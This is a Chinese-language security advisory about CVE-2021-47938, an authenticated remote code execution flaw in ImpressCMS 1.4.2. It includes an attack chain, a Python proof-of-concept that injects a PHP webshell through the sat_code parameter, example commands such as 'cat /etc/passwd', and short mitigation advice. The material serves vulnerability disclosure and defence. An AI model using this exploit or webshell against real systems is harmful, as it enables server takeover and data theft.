IPBUF安全漏洞报告
English
CVE-2021-47938 CVSS 8.8 高危

CVE-2021-47938 ImpressCMS远程代码执行漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47938
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ImpressCMS

相关标签

远程代码执行RCEImpressCMS代码注入Web安全

漏洞概述

ImpressCMS 1.4.2版本在autotasks管理接口中存在严重的远程代码执行漏洞。由于系统未对用户输入进行严格过滤,经过身份认证的攻击者可以通过向sat_code参数注入恶意PHP代码,在服务器端生成可执行文件。随后,攻击者可利用该文件通过GET参数执行任意系统命令,导致服务器被完全控制。

技术细节

该漏洞的根本原因在于ImpressCMS在处理自动任务配置时,未对sat_code参数进行有效的安全验证和过滤。攻击者首先需要获取一个低权限账户并登录系统。利用过程中,攻击者向/modules/system/admin.php?fct=autotasks&op=mod接口发送POST请求,在sat_code字段中植入恶意的PHP代码(如Webshell)。服务器接收并处理该请求后,会将恶意代码写入磁盘并创建一个PHP文件。由于代码未经过转义,PHP解析器会执行该文件中的代码。攻击者随后通过向该生成的文件发送带有命令参数的GET请求,即可在服务器操作系统上下文中执行任意指令,从而获取服务器完全控制权。

攻击链分析

STEP 1
信息收集与认证
攻击者获取目标ImpressCMS站点的低权限账户凭据,并成功登录后台管理系统。
STEP 2
漏洞利用
攻击者向/modules/system/admin.php发送POST请求,在autotasks功能的sat_code参数中注入恶意PHP代码。
STEP 3
文件写入
服务器处理请求时,将恶意PHP代码写入服务器上的某个文件中,形成可执行的Webshell。
STEP 4
命令执行
攻击者访问生成的恶意文件,并通过GET参数传递系统命令(如whoami, cat /etc/passwd),服务器解析并执行该命令。
STEP 5
获取权限
攻击者成功获取服务器权限,可进一步进行横向移动、数据窃取或部署勒索软件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target.com/modules/system/admin.php" params = {"fct": "autotasks", "op": "mod"} # Authenticated session cookie (required) cookies = {"ICMSSESSION": "authenticated_session_cookie"} # Malicious payload: inject PHP code to execute system commands via 'cmd' GET param # This payload writes a simple webshell logic data = { "sat_code": "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>" } try: print("[*] Sending payload to inject code...") response = requests.post(url, params=params, data=data, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully. Check the created file for execution.") print("[*] Example execution: http://target.com/path/to/created/file.php?cmd=whoami") else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("Error:", e)

影响范围

ImpressCMS 1.4.2

防御指南

临时缓解措施
建议立即将ImpressCMS升级到最新修复版本。如果暂时无法升级,应严格限制对/modules/system/admin.php接口的访问权限,仅允许内网IP或管理IP访问,并部署Web应用防火墙(WAF)以检测和阻断针对sat_code参数的恶意代码注入尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表